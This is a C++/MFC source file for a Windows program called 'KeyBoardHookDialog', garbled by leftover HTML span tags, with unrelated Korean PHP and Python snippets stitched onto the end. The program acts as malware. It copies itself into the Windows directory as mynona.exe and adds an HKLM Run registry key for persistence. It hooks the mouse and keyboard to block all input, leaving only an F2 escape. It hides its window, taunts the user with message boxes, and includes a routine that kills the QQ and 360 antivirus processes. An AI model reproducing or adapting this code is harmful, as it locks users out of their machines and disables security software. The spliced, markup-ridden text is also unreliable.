<span //</span><span KeyBoardHookDialogDlg.cpp : implementation file </span><span // </span><span #include </span><span "</span><span stdafx.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialog.h</span><span "</span><span #include </span><span "</span><span KeyBoardHookDialogDlg.h</span><span "</span> <span #define</span> REG_RUN "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"<span #include </span><tlhelp32.h><span #ifdef _DEBUG </span><span #define</span> new DEBUG_NEW <span #undef</span> THIS_FILE <span static</span> <span char</span> THIS_FILE[] =<span __FILE__; </span><span #endif</span> <span //</span><span #pragma comment (lib,"KeyBoardHook")</span> <span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CAboutDlg dialog used for App About </span><span //</span><span 定义全局HHOOK变量,用于保存</span> <span HHOOK g_hMouse; HHOOK g_hKeyboard; </span><span bool</span> isTrue = <span false</span><span ; HWND hWnd; </span><span //</span><span 保存当前句柄 </span><span //</span><span 注意以下俩个钩子过程是全局函数,所以里面的API要用全局的</span> <span LRESULT CALLBACK MouseProc( </span><span int</span> nCode, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span message identifier</span> LPARAM lParam <span //</span><span mouse coordinates</span> <span ) { </span><span return</span> <span 1</span><span ; } LRESULT CALLBACK KeyboardProc( </span><span int</span> code, <span //</span><span hook code</span> WPARAM wParam, <span //</span><span virtual-key code</span> LPARAM lParam <span //</span><span keystroke-message information</span> <span ) { </span><span //</span><span if(VK_SPACE == wParam || VK_RETURN == wParam) </span><span //</span><span 屏蔽空格和回车键</span> <span /*</span><span if(VK_F4 == wParam && (lParam>>29 & 1)) //屏蔽ALT + F4键 return 1; else return CallNextHookEx(g_hKeyboard,code,wParam,lParam);</span><span */</span> <span //</span><span 留个后门,使当按下F2键时,程序将退</span> <span if</span>(VK_F2 ==<span wParam) { </span><span //</span><span 调用全局API函数向程序发出关闭消息</span> ::SendMessage(hWnd,WM_CLOSE,<span 0</span>,<span 0</span><span ); </span><span //</span><span 卸载钩子</span> <span UnhookWindowsHookEx(g_hMouse); UnhookWindowsHookEx(g_hKeyboard); } </span><span return</span> <span 1</span><span ; } </span><span class</span> CAboutDlg : <span public</span><span CDialog { </span><span public</span><span : CAboutDlg(); </span><span //</span><span Dialog Data </span><span //</span><span {{AFX_DATA(CAboutDlg)</span> <span enum</span> { IDD =<span IDD_ABOUTBOX }; </span><span //</span><span }}AFX_DATA </span><span //</span><span ClassWizard generated virtual function overridesf </span><span //</span><span {{AFX_VIRTUAL(CAboutDlg)</span> <span protected</span><span : </span><span virtual</span> <span void</span> DoDataExchange(CDataExchange* pDX); <span //</span><span DDX/DDV support </span><span //</span><span }}AFX_VIRTUAL </span><span //</span><span Implementation</span> <span protected</span><span : </span><span //</span><span {{AFX_MSG(CAboutDlg) </span><span //</span><span }}AFX_MSG</span> <span DECLARE_MESSAGE_MAP() }; CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD) { </span><span //</span><span {{AFX_DATA_INIT(CAboutDlg) </span><span //</span><span }}AFX_DATA_INIT</span> <span } </span><span void</span> CAboutDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CAboutDlg) </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CAboutDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CAboutDlg) </span><span //</span><span No message handlers </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg dialog</span> <span CKeyBoardHookDialogDlg::CKeyBoardHookDialogDlg(CWnd</span>* pParent <span /*</span><span =NULL</span><span */</span><span ) : CDialog(CKeyBoardHookDialogDlg::IDD, pParent) { </span><span //</span><span {{AFX_DATA_INIT(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add member initialization here </span><span //</span><span }}AFX_DATA_INIT </span><span //</span><span Note that LoadIcon does not require a subsequent DestroyIcon in Win32</span> m_hIcon = AfxGetApp()-><span LoadIcon(IDR_MAINFRAME); } </span><span void</span> CKeyBoardHookDialogDlg::DoDataExchange(CDataExchange*<span pDX) { CDialog::DoDataExchange(pDX); </span><span //</span><span {{AFX_DATA_MAP(CKeyBoardHookDialogDlg) </span><span //</span><span NOTE: the ClassWizard will add DDX and DDV calls here </span><span //</span><span }}AFX_DATA_MAP</span> <span } BEGIN_MESSAGE_MAP(CKeyBoardHookDialogDlg, CDialog) </span><span //</span><span {{AFX_MSG_MAP(CKeyBoardHookDialogDlg)</span> <span ON_WM_SYSCOMMAND() ON_WM_PAINT() ON_WM_QUERYDRAGICON() ON_BN_CLICKED(IDC_BTN_HOOKON, OnBtnHookon) ON_WM_TIMER() </span><span //</span><span }}AFX_MSG_MAP</span> <span END_MESSAGE_MAP() </span><span ///////////////////////////////////////////////////////////////////////////</span><span //</span> <span //</span><span CKeyBoardHookDialogDlg message handlers</span> <span BOOL CKeyBoardHookDialogDlg::OnInitDialog() { CDialog::OnInitDialog(); </span><span //</span><span Add "About..." menu item to system menu. </span><span //</span><span IDM_ABOUTBOX must be in the system command range.</span> ASSERT((IDM_ABOUTBOX & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX); ASSERT(IDM_ABOUTBOX </span>< <span 0xF000</span><span ); CMenu</span>* pSysMenu =<span GetSystemMenu(FALSE); </span><span if</span> (pSysMenu !=<span NULL) { CString strAboutMenu; strAboutMenu.LoadString(IDS_ABOUTBOX); </span><span if</span> (!<span strAboutMenu.IsEmpty()) { pSysMenu</span>-><span AppendMenu(MF_SEPARATOR); pSysMenu</span>-><span AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu); } } </span><span //</span><span Set the icon for this dialog. The framework does this automatically </span><span //</span><span when the application's main window is not a dialog</span> SetIcon(m_hIcon, TRUE); <span //</span><span Set big icon</span> SetIcon(m_hIcon, FALSE); <span //</span><span Set small icon </span><span //</span><span TODO: Add extra initialization here</span> <span CopySelf(); autoRun();</span><span //</span><span 注册表启动 </span><span //</span><span 设定钩子 </span><span //</span><span ShowProcess();</span> g_hMouse =<span SetWindowsHookEx(WH_MOUSE,MouseProc,NULL,GetCurrentThreadId()); g_hKeyboard </span>=<span SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,NULL,GetCurrentThreadId()); </span><span //</span><span 保存句柄</span> hWnd =<span m_hWnd; SetTimer(</span><span 1</span>, <span 2000</span><span , NULL); isTrue </span>= <span true</span><span ; </span><span return</span> TRUE; <span //</span><span return TRUE unless you set the focus to a control</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnSysCommand(UINT nID, LPARAM lParam) { </span><span if</span> ((nID & <span 0xFFF0</span>) ==<span IDM_ABOUTBOX) { CAboutDlg dlgAbout; dlgAbout.DoModal(); } </span><span else</span><span { CDialog::OnSysCommand(nID, lParam); } } </span><span //</span><span If you add a minimize button to your dialog, you will need the code below </span><span //</span><span to draw the icon. For MFC applications using the document/view model, </span><span //</span><span this is automatically done for you by the framework.</span> <span void</span><span CKeyBoardHookDialogDlg::OnPaint() { </span><span if</span><span (IsIconic()) { CPaintDC dc(</span><span this</span>); <span //</span><span device context for painting</span> <span SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), </span><span 0</span><span ); </span><span //</span><span Center icon in client rectangle</span> <span int</span> cxIcon =<span GetSystemMetrics(SM_CXICON); </span><span int</span> cyIcon =<span GetSystemMetrics(SM_CYICON); CRect rect; GetClientRect(</span>&<span rect); </span><span int</span> x = (rect.Width() - cxIcon + <span 1</span>) / <span 2</span><span ; </span><span int</span> y = (rect.Height() - cyIcon + <span 1</span>) / <span 2</span><span ; </span><span //</span><span Draw the icon</span> <span dc.DrawIcon(x, y, m_hIcon); } </span><span else</span><span { CDialog::OnPaint(); } } </span><span //</span><span The system calls this to obtain the cursor to display while the user drags </span><span //</span><span the minimized window.</span> <span HCURSOR CKeyBoardHookDialogDlg::OnQueryDragIcon() { </span><span return</span><span (HCURSOR) m_hIcon; } </span><span void</span><span CKeyBoardHookDialogDlg::OnBtnHookon() { </span><span //</span><span TODO: Add your control notification handler code here</span> <span } </span><span //</span><span DEL void CKeyBoardHookDialogDlg::OnBtnHookoff() </span><span //</span><span DEL { </span><span //</span><span DEL </span><span //</span><span TODO: Add your control notification handler code here </span><span //</span><span DEL SetHookOff(); </span><span //</span><span DEL </span><span //</span><span DEL }</span> <span void</span><span CKeyBoardHookDialogDlg::hide() { ShowWindow(SW_HIDE); } </span><span void</span><span CKeyBoardHookDialogDlg::autoRun() { HKEY hKey </span>=<span NULL; LONG lRet </span>= RegOpenKey(HKEY_LOCAL_MACHINE,REG_RUN,&<span hKey); </span><span if</span>(lRet !=<span ERROR_SUCCESS) { </span><span return</span><span ; } RegSetValueEx(hKey,</span><span "</span><span mynona</span><span "</span>,NULL,REG_SZ,(<span const</span> unsigned <span char</span> *)&<span szWindowsPath, strlen(szWindowsPath) </span>+<span sizeof</span>(<span char</span><span )); RegCloseKey(hKey); } </span><span void</span><span CKeyBoardHookDialogDlg::ShowProcess() { HANDLE hSnap </span>=<span CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL); </span><span //</span><span ...</span> <span PROCESSENTRY32 Pe32 </span>= {<span 0</span><span }; Pe32.dwSize </span>= <span sizeof</span><span (PROCESSENTRY32); </span><span int</span> bRet = Process32First(hSnap,&<span Pe32); </span><span //</span><span 360IOSMgrSrv 360tray </span> <span char</span> name[MAX_PATH] = <span "</span><span QQ.exe</span><span "</span><span ; </span><span char</span> name2[MAX_PATH] = <span "</span><span 360tray.exe</span><span "</span><span ; </span><span char</span> name3[MAX_PATH] = <span "</span><span 360rp.exe</span><span "</span><span ; </span><span while</span><span (bRet) { </span><span //</span><span ...</span> bRet = Process32Next(hSnap,&<span Pe32); </span><span //</span><span cout<<"id:"<<Pe32.th32ProcessID<<" name:"<<Pe32.szExeFile<<endl;</span> <span int</span> flag = <span 0</span><span ; </span><span if</span>(strcmp(Pe32.szExeFile,name) == <span 0</span> || strcmp(Pe32.szExeFile,name3) == <span 0</span> || strcmp(Pe32.szExeFile,name2) ==<span 0</span><span ) flag </span>= <span 1</span><span ; </span><span if</span><span (flag){ </span><span //</span><span cout<<"----------------------"<<Pe32.th32ProcessID<<endl;</span> <span MessageBox(Pe32.szExeFile); HANDLE hProcess </span>=<span OpenProcess(PROCESS_TERMINATE,FALSE,Pe32.th32ProcessID); LPDWORD lpExitCode </span>= <span 0</span><span ; GetExitCodeProcess(hProcess, lpExitCode); TerminateProcess(hProcess, (UINT)lpExitCode); } } } </span><span void</span><span CKeyBoardHookDialogDlg::CopySelf() { </span><span char</span> szSelfName[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span char szSystemPath[MAX_PATH] = {0};</span> <span char</span> szTmpPath[MAX_PATH] = {<span 0</span><span }; </span><span //</span><span 获取当前程序自身路径</span> <span GetModuleFileName(NULL,szSelfName,MAX_PATH); </span><span //</span><span cout<<"szSelfName:"<<szSelfName<<endl; </span><span //</span><span 获取系统目录</span> <span GetWindowsDirectory(szWindowsPath,MAX_PATH); </span><span //</span><span cout<<"szWindowsPath:"<<szWindowsPath<<endl; </span><span //</span><span 获取windows目录 </span><span //</span><span GetSystemDirectory(szSystemPath,MAX_PATH); </span><span //</span><span cout<<"szSystemPath:"<<szSystemPath<<endl;</span> <span strcat(szWindowsPath,</span><span "</span><span \\mynona.exe</span><span "</span><span ); </span><span //</span><span strcat(szSystemPath,"\\mynona.exe");</span> <span MessageBox( szWindowsPath,</span><span "</span><span : szWindowsPath</span><span "</span><span ); </span><span //</span><span MessageBox( szSystemPath,": szSystemPath"); </span> <span int</span> isTrue = CopyFile(szSelfName,szWindowsPath,FALSE);<span //</span><span FALSE表示强行覆盖原有文件 </span><span //</span><span int isTrue2 = CopyFile(szSelfName,szSystemPath,FALSE);</span> <span } </span><span void</span><span CKeyBoardHookDialogDlg::OnTimer(UINT nIDEvent) { </span><span //</span><span TODO: Add your message handler code here and/or call default</span> <span if</span><span (isTrue){ ShowWindow(SW_HIDE); } MessageBox(</span><span "</span><span haha</span><span "</span>,<span "</span><span 哈哈</span><span "</span><span ,MB_ICONSTOP); CDialog::OnTimer(nIDEvent); }</span>

PHP와 Python은 각각 고유 한 장점이 있으며 선택은 프로젝트 요구 사항을 기반으로해야합니다. 1.PHP는 간단한 구문과 높은 실행 효율로 웹 개발에 적합합니다. 2. Python은 간결한 구문 및 풍부한 라이브러리를 갖춘 데이터 과학 및 기계 학습에 적합합니다.

PHP는 죽지 않고 끊임없이 적응하고 진화합니다. 1) PHP는 1994 년부터 새로운 기술 트렌드에 적응하기 위해 여러 버전 반복을 겪었습니다. 2) 현재 전자 상거래, 컨텐츠 관리 시스템 및 기타 분야에서 널리 사용됩니다. 3) PHP8은 성능과 현대화를 개선하기 위해 JIT 컴파일러 및 기타 기능을 소개합니다. 4) Opcache를 사용하고 PSR-12 표준을 따라 성능 및 코드 품질을 최적화하십시오.

PHP의 미래는 새로운 기술 트렌드에 적응하고 혁신적인 기능을 도입함으로써 달성 될 것입니다. 1) 클라우드 컴퓨팅, 컨테이너화 및 마이크로 서비스 아키텍처에 적응, Docker 및 Kubernetes 지원; 2) 성능 및 데이터 처리 효율을 향상시키기 위해 JIT 컴파일러 및 열거 유형을 도입합니다. 3) 지속적으로 성능을 최적화하고 모범 사례를 홍보합니다.

PHP에서, 특성은 방법 재사용이 필요하지만 상속에 적합하지 않은 상황에 적합합니다. 1) 특성은 클래스에서 다중 상속의 복잡성을 피할 수 있도록 수많은 방법을 허용합니다. 2) 특성을 사용할 때는 대안과 키워드를 통해 해결할 수있는 방법 충돌에주의를 기울여야합니다. 3) 성능을 최적화하고 코드 유지 보수성을 향상시키기 위해 특성을 과도하게 사용해야하며 단일 책임을 유지해야합니다.

의존성 주입 컨테이너 (DIC)는 PHP 프로젝트에 사용하기위한 객체 종속성을 관리하고 제공하는 도구입니다. DIC의 주요 이점에는 다음이 포함됩니다. 1. 디커플링, 구성 요소 독립적 인 코드는 유지 관리 및 테스트가 쉽습니다. 2. 유연성, 의존성을 교체 또는 수정하기 쉽습니다. 3. 테스트 가능성, 단위 테스트를 위해 모의 객체를 주입하기에 편리합니다.

SplfixedArray는 PHP의 고정 크기 배열로, 고성능 및 메모리 사용이 필요한 시나리오에 적합합니다. 1) 동적 조정으로 인한 오버 헤드를 피하기 위해 생성 할 때 크기를 지정해야합니다. 2) C 언어 배열을 기반으로 메모리 및 빠른 액세스 속도를 직접 작동합니다. 3) 대규모 데이터 처리 및 메모리에 민감한 환경에 적합하지만 크기가 고정되어 있으므로주의해서 사용해야합니다.

PHP는 $ \ _ 파일 변수를 통해 파일 업로드를 처리합니다. 보안을 보장하는 방법에는 다음이 포함됩니다. 1. 오류 확인 확인, 2. 파일 유형 및 크기 확인, 3 파일 덮어 쓰기 방지, 4. 파일을 영구 저장소 위치로 이동하십시오.

JavaScript에서는 NullCoalescingOperator (??) 및 NullCoalescingAssignmentOperator (?? =)를 사용할 수 있습니다. 1. 2. ??= 변수를 오른쪽 피연산자의 값에 할당하지만 변수가 무효 또는 정의되지 않은 경우에만. 이 연산자는 코드 로직을 단순화하고 가독성과 성능을 향상시킵니다.


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